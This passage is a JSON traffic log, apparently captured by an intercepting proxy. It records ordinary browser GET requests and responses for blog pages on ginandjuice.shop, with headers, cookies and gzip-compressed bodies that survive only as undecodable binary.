\u001b\\ufffd\\u0016\\ufffd\\ufffd߸\\ufffd\\u0014\\ufffd\\ufffd\\ufffdI\\ufffd\\\"N\\ufffd\\ufffdF\\ufffd\\ufffd\\ufffds\\ufffdi\\ufffdI\\ufffdD\\u003c/\\ufffd\\ufffd\\ufffdz*\\ufffd.\\u0019\\u00121\\ufffd;\\u00184Gh\\ufffd\\u0014\\u000b\\ufffd1[\\ufffdD\\ufffd\\ufffdǬ7N\\ufffd\\ufffd\\ufffd,դ\\ufffdyI\\u0019\\ufffd\\ufffdM$WD^\\ufffd\\u0016\\u0000s\\ufffd\\ufffd\\u0001\\ufffdA'\\ufffd\\u001cu\\u0004L\\u0013{\\ufffdF\\ufffd`\\ufffd\\ufffd\\ufffd]\\ufffd3{\\ufffds\\u003e񱉷\\\"\\ufffd8\\ufffd\\u0017\\ufffd\\u0005\\ufffd\\u000e-u@ת\\ufffd\\\"S\\ufffd\\ufffd2P\\ufffd۸\\ufffd\\ufffd\\ufffd䀠\\u0013\\ufffd\\ufffd\\u001d\\u0018\\u000cC\\ufffdm\\ufffd\\ufffd\\ufffdk\\ufffd ,*\\ufffd\\ufffd2\\ufffd\\u0010c\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdG4\\ufffd~\\ufffd$\\u0013!\\\\!\\u0007FȂ\\ufffd\\u0003~\\u0010d\\u0001P~\\ufffd\\ufffd\\ufffd\\u000c\\ufffdQ4\\u0003\\ufffd\\ufffd\\\\3\\ufffd\\ufffd\\ufffd\\ufffd[\\u0000σ\\u001f\\u000f\\u003cG\\ufffd\\ufffds\\ufffd\\u0011\\u003c\\ufffd\\ufffd\\ufffdq\\ufffd7\\u0012\\ufffd\\ufffd\\u0012T\\ufffd\\ufffd\\ufffd[d\\ufffdЌN\\u0004\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd'\\ufffd\\tp\\u003c\\ufffd\\ufffd\\u0010\\ufffd@se\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\ufffdP\\ufffd\\rT\\ufffd+\\u003c\\ufffd\\ufffd58_\\u0018\\ufffd\\u0015\\ufffd\\u0014\\ufffd\\ufffdM\\ufffdRf+\\ufffd\\ufffd_\\ufffd\\u0008=xx\\ufffdc\\ufffd\\ufffdνo\\ufffd\\u0015h\\\"^\\u0002\\ufffd8L\\u0011\\ufffd\\ufffd\\u003c\\ufffd\\u0003A\\ufffd[@\\ufffd\\ufffdw@̎|\\ufffd[Y\\ufffd7\\ufffd 71\\u0006\\ufffd\\ufffd7/)\\ufffd\\ufffdXiXK\\ufffdm\\ufffd\\ufffd뜕\\ufffdPyjǒ\\ufffd\\ufffdI\\ufffd\\ufffdٮC\\u00004\\ufffd\\u0011\\ufffd\\ufffd\\ufffd\\u0008~\\ufffd\\ufffd_\\ufffd#՘\\ufffd\\u0001c\\u0001 \\ufffd\\ufffdb\\ufffd%`\\ufffd\\ufffdR\\t\\ufffd\\ufffdJ\\ufffd\\u0000,\\ufffd\\ufffd畖\\ufffd\\u0026\\u000b5E7\\ufffd\\ufffd\\ufffd\\u001e\\ufffd\\u0013\\ufffd\\u0001\\ufffd\\u0004q\\u000c\\ufffd8\\ufffd%Q\\ufffd\\ufffd@\\ufffd\\u0016soۈ\\ufffd\\ufffdt!\\ufffd\\ufffd\\u0001\\u001dz\\ufffd\\ufffdZp+\\ufffd\\ufffd\\u0018\\ufffd\\ufffdvK_p\\ufffd;q΁\\ufffd=8\\ufffdQ\\nY,\\ufffd\\ufffd\\ufffdw(\\ufffd,\\ufffd\\ufffd\\ufffd\\ufffd.\\ufffdFW[_\\ufffd\\u0011\\ufffd\\u0000\\ufffdk*\\u001e\\ufffd\\ufffdD\\ufffd\\ufffd)\\ufffd\\\\U\\u001d\\ufffd\\u0018t\\ufffd\\ufffd\\ufffd\\ufffd\\u001f\\ufffd,)\\u0006\\ufffdj\\ufffd@ޣBY#\\u003c\\ufffdK%\\ufffds\\ufffd\\ufffd\\ufffd\\u0014\\ufffd\\ufffdW\\ufffd\\ufffd\\ufffd\\u003e\\nu\\ufffd\\ufffd\\ufffd\\u0002 \\ufffd\\ufffd$Z\\ufffdN.N\\ufffd,\\ufffdt~\\ufffd\\ufffd\\ufffd\\ufffd_\\u0026\\u0017g\\ufffd\\ufffd\\ufffd\\ufffd?\\ufffd\\u003e\\ufffd\\ufffd\\ufffd7\\ufffd/\\ufffd\\u0007\\u001f_\\ufffd\\u000f\\u001d\\ufffd*k\\u0005\\ufffdV\\ufffdet\\ufffdؙ.\\ufffd\\ufffd}\\ufffd\\ufffd\\ufffd\\ufffd+\\ufffd\\u0002j\\ufffd{\\ufffde\\ufffd\\ufffd+\\ufffdA?n\\ufffd\\ufffd޳\\ufffd\\u0004\\u0001\\ufffd\\ufffd-\\ufffdit\\ufffddr\\ufffd4?\\ufffd\\ufffd\\ufffdy\\ufffd\\ufffd\\ufffd4jw\\ufffdN\\ufffd\\ufffdU\\ufffd\\u0010S\\ufffd\\ufffd\\ufffd \\ufffd\\u001f\\ufffd\\u001d\\ufffd\\ufffd\\ufffd#\\ufffd鄑%\\ufffd)o\\ufffdQ\\ufffd\\ufffd4{Q\\ufffdr\\ufffd\\ufffdE8itS\\ufffd\\ufffd\\ufffdA/\\ufffd\\ufffdFac\\ufffd3\\ufffd\\ufffdJ\\ufffd\\ufffd\\ufffd\\ufffd\\u0006l\\u0017\\u001e\\ufffdaݰ]*a)4\\ufffd\\ufffd+\\u0006\\ufffda\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd޴P\\u0007\\ufffdR\\ufffd=X\\ufffd\\ufffdhm\\ufffdZ]\\ufffd9v\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdn@Z\\ufffd\\u001e\\u0017\\ufffd\\ufffdC\\ufffd*LOў\\ufffd,\\ufffd\\ufffdR)\\ufffdw#\\ufffdu\\u0008\\u001e'\\u00142\\ufffdU\\ufffd6OaJ\\ufffdji\\ufffd\\ufffd\\ufffd\\ufffdP\\ufffdNn\\u001c\\u000ej\\ufffd\\ufffdo\\ufffd\\ufffd\\ufffd:\\u001f\\ufffd\\ufffd\\ufffdxӗMv\\ufffdoM\\ufffdg\\u0003\\ufffd6\\ufffd\\u0018\\ufffd\\ufffd\\ufffd\\u001fv\\ufffd\\ufffd\\ufffd\\t{\\u0007\\u000e\\u0017\\ufffd\\u0003{\\ufffd\\ufffd~\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdd\\ufffdj\\ufffd\\ufffdn\\ufffdc\\ufffd\\u001e\\ufffdl\\u000cH\\ufffd\\ufffd\\ufffd\\r7\\ufffd\\ufffd玕hk(U}\\ufffd\\ufffdFz\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdw\\ufffd\\ufffd\\ufffdo-\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\\\a\\ufffd\\u001as\\ufffduKt\\u001a\\u000e\\ufffd\\u000fR\\ufffdך\\ufffd\\ufffdSx%\\ufffd֣\\ufffd\\ufffd\\u001b\\ufffd7\\ufffd\\ufffd\\u0007ts\\ufffdѫ*\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2651\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:10 GMT\\r\\nSet-Cookie: AWSALB=mMf3rdKgea2WMm1zlXRLuVlGnzwzbnCekLUEJC1ovH7rG4GvyvUURlqixQ3pFQSyaGvl4sxhMoY/ptxpaAO2y0WTm/iV8QTUpZ7boE6tcrN3sR+Ibwx2OvFmWPN+; Expires=Thu, 14 Sep 2023 15:34:10 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=mMf3rdKgea2WMm1zlXRLuVlGnzwzbnCekLUEJC1ovH7rG4GvyvUURlqixQ3pFQSyaGvl4sxhMoY/ptxpaAO2y0WTm/iV8QTUpZ7boE6tcrN3sR+Ibwx2OvFmWPN+; Expires=Thu, 14 Sep 2023 15:34:10 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:13+05:30\",\"url\":\"https://ginandjuice.shop/blog/post?postId=3\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=mMf3rdKgea2WMm1zlXRLuVlGnzwzbnCekLUEJC1ovH7rG4GvyvUURlqixQ3pFQSyaGvl4sxhMoY/ptxpaAO2y0WTm/iV8QTUpZ7boE6tcrN3sR+Ibwx2OvFmWPN+; AWSALBCORS=mMf3rdKgea2WMm1zlXRLuVlGnzwzbnCekLUEJC1ovH7rG4GvyvUURlqixQ3pFQSyaGvl4sxhMoY/ptxpaAO2y0WTm/iV8QTUpZ7boE6tcrN3sR+Ibwx2OvFmWPN+\",\"Referer\":\"https://ginandjuice.shop/blog/\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/blog/post\",\"scheme\":\"https\"},\"raw\":\"GET /blog/post?postId=3 HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=mMf3rdKgea2WMm1zlXRLuVlGnzwzbnCekLUEJC1ovH7rG4GvyvUURlqixQ3pFQSyaGvl4sxhMoY/ptxpaAO2y0WTm/iV8QTUpZ7boE6tcrN3sR+Ibwx2OvFmWPN+; AWSALBCORS=mMf3rdKgea2WMm1zlXRLuVlGnzwzbnCekLUEJC1ovH7rG4GvyvUURlqixQ3pFQSyaGvl4sxhMoY/ptxpaAO2y0WTm/iV8QTUpZ7boE6tcrN3sR+Ibwx2OvFmWPN+\\r\\nReferer: https://ginandjuice.shop/blog/\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"3942\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:13 GMT\",\"Set-Cookie\":\"AWSALB=85BJo1Zpdk9Zp+yPBrFftDnRpkda2GE1/JD01eSP9Ex//O3wSyqO/AF6ykA8rziJvN/Q7QNg9UV1oNa53YrhOnHvoGPe6yk0hzUoN1V5Rcp/SYNljF/y+T7fkl7C; Expires=Thu, 14 Sep 2023 15:34:13 GMT; Path=/, AWSALBCORS=85BJo1Zpdk9Zp+yPBrFftDnRpkda2GE1/JD01eSP9Ex//O3wSyqO/AF6ykA8rziJvN/Q7QNg9UV1oNa53YrhOnHvoGPe6yk0hzUoN1V5Rcp/SYNljF/y+T7fkl7C; Expires=Thu, 14 Sep 2023 15:34:13 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffd[\\ufffdn\\u001c7\\ufffd}\\ufffd\\ufffd\\ufffd;\\u0018\\ufffd\\u0006\\ufffd\\u0012I\\ufffd\\u003cHj×\\ufffd\\ufffd\\u001c[\\u0016\\ufffd\\u001e\\u0004\\ufffd\\ufffd\\ufffd]\\ufffd\\ufffd\\ufffdUU\\ufffd!Yݮ\\u0003?\\ufffd3f\\ufffd9\\u001fp~\\ufffd|J\\ufffd䬽\\ufffd*UK}\\ufffd\\u0012\\u0007\\u0018`\\ufffd\\u0008\\ufffd.\\u0016\\ufffd\\ufffd/k\\ufffdX\\ufffd\\ufffd\\ufffd\\u0017o\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd;\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\ufffd4\\ufffd%\\ufffd\\ufffd4S2\\r?\\ufffd1\\ufffd\\ufffd\\ufffdȬ\\ufffd\\ufffdM\\ufffdr\\ufffd\\ufffd\\ufffdr\\ufffd\\\\\\ufffdh\\ufffd\\ufffd\\ufffdĹ\\ufffdKd\\ufffdF\\ufffd\\ufffd\\ufffd1\\u0006\\ufffdU\\ufffd\\ufffd\\ufffdM\\ufffd\\\\\\ufffd\\ufffd\\ufffdG\\ufffdH\\ufffd\\ufffd{\\u00072\\ufffd\\ufffdM\\ufffdP^\\ufffdR\\u0016\\ufffdl\\ufffd\\ufffdjU\\u0019\\ufffd\\u0007\\\"1\\ufffdW\\ufffd?\\u001b\\ufffdt곳T-u\\ufffdF\\ufffd0\\u0014\\ufffdSv\\u0004\\u000e\\ufffdC\\ufffd\\ufffdJ3\\ufffdQs\\ufffdՕ\\u0017\\ufffd\\u0026g\\ufffd\\u001eC\\u001f\\u001c\\u001ed\\ufffdǠ\\ufffdrS\\u0015 \\u003e\\ufffd\\ufffd\\u0006\\ufffd\\ufffdIXqw\\u0012\\ufffd\\ufffd\\u0014\\ufffd \\ufffd\\ufffd\\n\\ufffdy\\ufffd\\ufffdO\\u003eȥ\\u000c\\ufffd\\ufffdM\\ufffde\\ufffd\\ufffdsi:\\u001c};\\ufffdv\\u001bU\\ufffd}\\ufffd\\ufffdO\\ufffd+\\ufffdm#^\\ufffdF\\ufffdĳ\\ufffd,\\ufffd\\ufffdK]\\ufffd\\ufffd\\ufffd\\ufffdN\\ufffd\\ufffd5\\ufffd%\\ufffde\\ufffd:\\ufffd\\ufffd\\u0005\\u0001\\u0007\\ufffdk \\ufffd\\ufffdLڈr1\\ufffdU\\ufffd#\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd٠o\\ufffd\\ufffdz\\ufffd`*\\ufffdڔ\\\"ɥsg\\ufffd\\ufffd\\ufffdQ\\ufffd\\u0002\\ufffdxsc\\u0001/\\ufffdn\\ufffdџ\\ufffd\\ufffdv\\u0002\\ufffdI\\ufffd\\ufffd\\\\ϔ\\ufffd^\\ufffd\\ufffdX\\ufffdy\\ufffd\\ufffd0\\ufffdX\\ufffd\\ufffd\\u0000\\ufffd\\ufffdN$\\ufffd\\ufffd}\\ufffd\\ufffdT\\ufffd\\ufffd\\u001b+\\ufffdr^\\ufffd\\u000b\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd]\\ufffds\\ufffd\\ufffd0D\\ufffd`̍72p\\ufffd*ىBX\\u001e\\u0008S\\u0016\\u0006\\u0010\\ufffdi\\ufffd%\\u0000\\ufffd\\ufffdY\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd8\\u0013\\ufffd\\ufffdk\\ufffd\\\\{\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd}\\ufffdѲ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffduu6\\ufffds\\ufffd\\ufffd\\ufffd\\ufffdÇ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdW\\ufffdEn\\ufffd\\ufffd΄\\ufffdf\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd_\\u000fg/\\ufffdΓ\\ufffdOZ\\ufffd\\ufffd\\ufffdJ_\\ufffdy\\ufffd:;;x\\ufffd\\ufffd\\ufffd+I\\u003c\\ufffd\\u000eʫ\\u001e\\ufffd\\ufffd\\u0013qk\\ufffdh\\ufffd\\ufffd񆱯\\u0006\\ufffd\\ufffdڋ\\u0006 \\u0017\\ufffd\\u000e\\ufffd\\u001b\\ufffd3Ŧ{\\u0000\\ufffdC\\ufffd\\u001b\\ufffd2\\ufffd\\ufffd\\u0017L\\u000c\\ufffdۉŃ\\u0000\\ufffdg\\ufffd\\ufffd\\ufffd\\u0006\\ufffd\\u0004\\ufffd0\\ufffd\\u0002\\ufffdԘ\\ufffd\\u0019\\ufffd\\ufffd2Ĵ\\ufffd\\ufffd\\u00062\\u001b\\ufffd9\\u000et#8\\ufffd\\ufffd\\ufffdb|\\u000bى\\ufffd\\ufffd\\ufffd\\ufffd\\u0014;\\ufffdh\\u000f\\ufffd\\ufffd\\ufffd[\\ufffd\\ufffdf\\ufffdy\\u000bm\\ufffd\\ufffd\\u000b\\ufffd\\ufffd(:,\\ufffd݉\\ufffd\\ufffdB\\ufffd\\u0026\\u003cmp\\ufffd[$s\\ufffd\\u0012O\\ufffd\\ufffdֳ\\ufffd{\\u0004\\ufffd\\ufffd\\ufffd\\ufffd\\u0004Ȕ\\ufffd\\u0013\\ufffdaMZ'\\ufffdmU\\ufffd\\u001a\\ufffd\\ufffd]6\\ufffd\\ufffd\\ufffd\\t\\ufffd\\ufffdUڱ9c\\u001e)\\ufffd\\ufffd+\\ufffdױ%g\\ufffd\\ufffd\\ufffd\\ufffd[r(ol\\ufffd\\ufffd\\ufffd;\\ufffd\\ufffd\\ufffdo\\ufffd\\u0012\\ufffdє\\ufffd\\ufffd\\ufffd\\u0026\\ufffd$\\ufffd.\\ufffdH'=\\ufffd\\u0014\\ufffd(\\ufffd#i\\ufffd\\ufffdbz\\ufffd\\ufffd־\\ufffdN\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdv\\ufffd\\u0018\\ufffd\\ufffdX\\ufffd\\t\\ufffd\\ufffdbʽD\\ufffd.\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd{\\ufffd}[\\ufffd\\u001bp\\ufffd\\u000b\\ufffd\\u001aU\\ufffd.\\ufffd\\ufffd1ӽ\\u0013j_\\ufffd\\ufffd4\\\"\\ufffd\\ufffd\\ufffdXߏ\\ufffd\\ufffd\\ufffd\\ufffd\\u0015\\ufffdM\\ufffd\\ufffd\\ufffd\\ufffd\\u0018\\u0001'\\ufffd\\ufffd\\ufffdJ)\\ufffd0\\ufffd\\ufffd;\\ufffd\\ufffd\\ufffd2t\\ufffd\\ufffd\\ufffd\\u001f\\ufffdw\\u0016\\ufffd\\ufffd\\ufffd#o\\u0016\\ufffd\\\\a7\\ufffd6j\\ufffdbA\\ufffdb\\ufffd\\ufffd\\u0013f\\ufffd\\u0003\\ufffd\\ufffd\\ufffdQ\\ufffdt\\ufffd5\\u0001nI\\ufffd\\u001b\\ufffd7\\u0014\\u00167fqjF\\ufffdB\\r\\n%\\ufffd\\u00114\\ufffd\\u0013R\\ufffdβ\\ufffd@\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd:\\ufffd\\u000f\\ufffdy(\\ufffdG\\u0015\\ufffd\\ufffd%t\\ufffd\\ufffdp\\ufffd)\\ufffdx=\\ufffduq\\ufffd\\ufffd\\ufffd\\u0016N\\ufffd\\ufffd-o\\ufffdC\\ufffd\\u000c-N\\ufffdغ\\ufffd\\ufffd\\n\\ufffd\\ufffd\\u0005m\\ufffd4\\ufffd\\u000c\\ufffd\\ufffdL\\ufffd\\ufffd[t}\\ufffdz~ݿ\\ufffd\\ufffd\\ufffdl\\ufffd\\ufffd\\u001d0}u\\ufffd\\u0015+\\ufffd\\ufffd\\ufffd\\ufffdy\\ufffde\\ufffdnIv\\ufffd\\ufffd+\\ufffd\\ufffd\\ufffd\\u0010\\t4\\ufffd:b4k\\ufffd3P?\\u0015pS\\ufffd\\ufffd\\ufffd\\ufffdsis\\ufffd\\ufffd\\u001b\\ufffd\\ufffd42\\ufffd\\ufffd\\ufffd$\\ufffd'\\ufffd 2=\\u003c\\u0012O\\ufffdE\\rF\\ufffd\\ufffd\\u003c:\\ufffd\\\\gs\\ufffd̜\\ufffdb\\u0011[K\\ufffd\\u0016\\ufffdP\\ufffd\\ufffd\\ufffd'$\\ufffd\\ufffd|=\\ufffdP-\\ufffdJ\\ufffd\\r!\\ufffd\\ufffdG#\\ufffd\\u001a\\ufffd\\ufffd\\u0003\\u0011\\u0005ȔUB.\\ufffd۱8\\u0017+Yz.\\ufffdU\\ufffdS\\ufffd/\\ufffdP\\u0011\\ufffdLz\\ufffd\\ufffdSԲ\\ufffdA\\ufffdҟ\\n\\u0017ſ\\u000c\\ufffdgE*\\ufffd\\ufffdx#\\ufffd!\\ufffdqb\\ufffd\\u003cwu\\u000e\\ufffd\\ufffd\\\"\\ufffd\\ufffdz-\\ufffd=^C\\ufffd5\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd?R1#\\ufffdH\\u0001\\ufffdL*\\ufffdʡ\\ufffd\\u001b\\ufffdw\\ufffd\\ufffd\\ufffd\\u0006\\u0026\\ufffd\\ufffd\\ufffd2S*\\ufffdH\\ufffd\\u0005VJxY\\ufffdFa,\\u001eA\\ufffd\\ufffd\\u000e\\ufffd\\ufffd\\ufffd\\ufffd̘\\ufffdV\\u0002=\\ufffd*]xQ)S\\ufffd\\u001b\\ufffd`|a\\ufffd*#*\\ufffd\\ufffdX\\\"\\ufffdR;\\ufffd\\ufffd\\\"\\ufffdTr%\\ufffd\\n=U\\u0010\\ufffd\\ufffd,\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd4 y\\ufffd8\\ufffd\\ufffd;\\u0016(\\ufffd\\ufffd\\ufffd\\u0016\\ufffd\\u000f\\ufffdc\\ufffd+E[\\ufffd#W\\ufffdh\\u0004:F\\ufffd\\u0019\\ufffddC\\u0026\\ufffd\\ufffd\\ufffd|%\\u001bh\\ufffdx\\ufffdR\\ufffd\\ufffd6\\ufffd\\ufffd\\u0002\\ufffd\\ufffd\\u0010\\ufffdӨ\\ufffdB^\\ufffd2%6\\ufffd`\\ufffd\\ufffdQ\\ufffd\\ufffd9\\ufffdi\\u0002/\\u0019\\ufffd\\ufffd6i5\\ufffd\\nK\\ufffd%:9+~\\ufffd0\\ufffd\\u001d2]X\\u001a\\ufffd\\ufffd\\ufffd_\\ufffdݭR\\ufffd\\ufffdK\\ufffd\\u003c\\u0018\\ufffd\\ufffd\\ufffdT^\\ufffdF2\\ufffd\\ufffd49F\\ufffd/=\\ufffdvЊ*ɔ$5\\u0018\\ufffdp\\ufffdN\\ufffd+k\\ufffd\\ufffd\\ufffdV\\ufffd\\ufffd\\u0003a`G\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd-Iۿ\\ufffd\\ufffdw\\ufffd\\ufffd\\ufffd2U\\ufffd`x\\ufffd\\ufffd\\u00131k\\ufffd\\ufffdrؚa\\u0005\\ufffd\\u000c[\\ufffdT)*c\\ufffd\\ufffd\\ufffdJ\\ufffd$\\ufffd\\u00120S\\ufffde\\u0001\\ufffd8\\ufffd\\u0010\\ufffd\\u000b\\ufffd\\ufffd@E\\ufffd\\ufffdC\\ufffd\\ufffdN\\u0000\\ufffd%\\u000b\\ufffd\\ufffdy5\\u001dcd\\u0018 \\ufffd\\u0010\\u000c\\ufffd/,\\u000cʁ\\u0026\\u003e\\ufffd\\ufffdgƣ\\ufffds\\ufffdB\\u001fjG+\\u001d\\ufffd8\\ufffd\\ufffd\\ufffd08\\ufffdFW\\ufffd]\\ufffd\\u0001\\ufffd8v\\u0002\\ufffd\\u000f\\ufffd\\\\F\\\"95\\ufffd\\ufffd\\ufffd\\ufffd!CD\\n\\ufffd\\u0000\\u0014\\ufffdഠ\\ufffd\\ufffdg\\u0001\\ufffd\\ufffd\\\\\\ufffdWb.\\ufffd\\u0016k\\ufffdFL\\ufffd\\t\\ufffd\\ufffd\\ufffdӲ\\t\\ufffd\\ufffd\\ufffdt\\ufffd*d2ca\\ufffd\\ufffdf\\\"Χn\\ufffd\\ufffd\\ufffdY \\ufffd\\u00042^\\ufffdfEk\\ufffdbӚε@\\ufffd\\u0013bH\\ufffd\\ufffd\\ufffdΌ\\u001c2\\u0008p\\ufffd\\ufffd]VL{\\u001c\\ufffd\\ufffdA!}\\ufffd\\ufffd]\\u0017\\ufffd\\ufffd\\ufffd\\u0005)ׇʒf\\ufffd\\ufffdj5\\u001b\\ufffd\\ufffd\\ufffd\\ufffd\\u0002~\\u0012\\ufffdӀ\\ufffdaD\\ufffd--\\ufffd_\\u0003(\\ufffd\\ufffdKl\\ufffd\\ufffd\\u0011\\u000c\\u0004\\ufffd\\ufffdmx®\\ufffd\\ufffd!ۊ\\ufffd\\u0026\\no\\ufffd1, \\ufffd\\ufffdD\\u0008{@\\\"\\\"\\u0003\\ufffdy\\u0013\\ufffd\\ufffd\\u0002b\\ufffdo\\ufffd\\u0004re-\\ufffdsc;\\u0006\\ufffd38E\\ufffd\\rǭ\\u0010\\u000c\\ufffd\\u001c=\\u0007\\ufffdT\\ufffd\\ufffdk\\ufffd\\ufffd.\\ufffd\\u0026_\\ufffdy\\ufffdکI\\u0017\\ufffdH\\ufffd/K\\ufffd8\\ufffd\\ufffd:\\ufffd\\u000bf\\ufffd0 [ J\\ufffd\\ufffd\\u0005m\\u0002W\\ufffd\\ufffd\\ufffd\\ufffd|\\ufffd\\ufffd.\\ufffdCԕW}\\ufffd\\ufffd\\ufffd}\\u00151\\ufffd\\u003e\\ufffd\\ufffd\\ufffd$\\ufffd\\ufffdQ\\ufffd\\ufffdHn,\\u0006\\ufffd\\u00036|aXk\\ufffd\\ufffd\\ufffdj\\ufffd\\ufffd\\ufffd\\ufffd$\\ufffd\\u0018@\\ufffd`\\u000bC\\ufffd\\ufffd\\u0008\\ufffd?*\\ufffd`\\ufffd\\ufffd\\ufffdiz=\\ufffd\\u001b\\ufffd֕\\ufffd+\\ufffd\\u0016P\\u0005Ŕ\\ufffd)\\ufffd\\ufffd\\u0003\\ufffd\\ufffdw\\ufffd|(\\ufffd\\ufffdx!S\\ufffd\\ufffd\\u0000\\u001e\\ufffd\\u0012\\ufffdd\\u0008\\ufffd\\ufffd!HєY\\ufffd\\ufffd\\u000bc:!\\ufffd8#\\ufffd\\ufffd\\ufffd\\ufffd\\u00033J@i)\\ufffd\\u0010BD]f\\u0026o\\ufffdz\\ufffdb\\u001agFb\\ufffd\\ufffd\\u001a\\ufffd\\ufffd\\ufffd4\\u0026\\u000fFR\\u000cC+\\ufffdƾ\\ufffd\\ufffd\\ufffdo\\ufffdku\\ufffdeI\\ufffd\\ufffd{\\n\\ufffd\\ufffd\\\\\\u0016\\ufffd\\ufffd\\ufffd\\u003c\\ufffd\\u000bVl\\ufffd\\ufffd\\ufffd\\n\\u001cϮ\\u0003\\u0019\\ufffd\\ufffd\\ufffdH\\ufffd\\\\\\u0026\\ufffd\\ufffd\\u0008\\ufffdz\\ufffd\\ufffdx9\\ufffdY\\ufffd$D!\\u0018Й\\ufffdI\\ufffd\\ufffd6ף\\nP\\ufffd\\u0019\\u0016\\ufffd\\ufffd\\ufffd\\u0007\\u003exf\\ufffd \\u0008\\ufffd\\ufffd\\ufffd\\u0005\\ufffd\\u0004w)\\ufffdϠ̑eC\\ufffd\\u0007r\\ufffd\\u001b 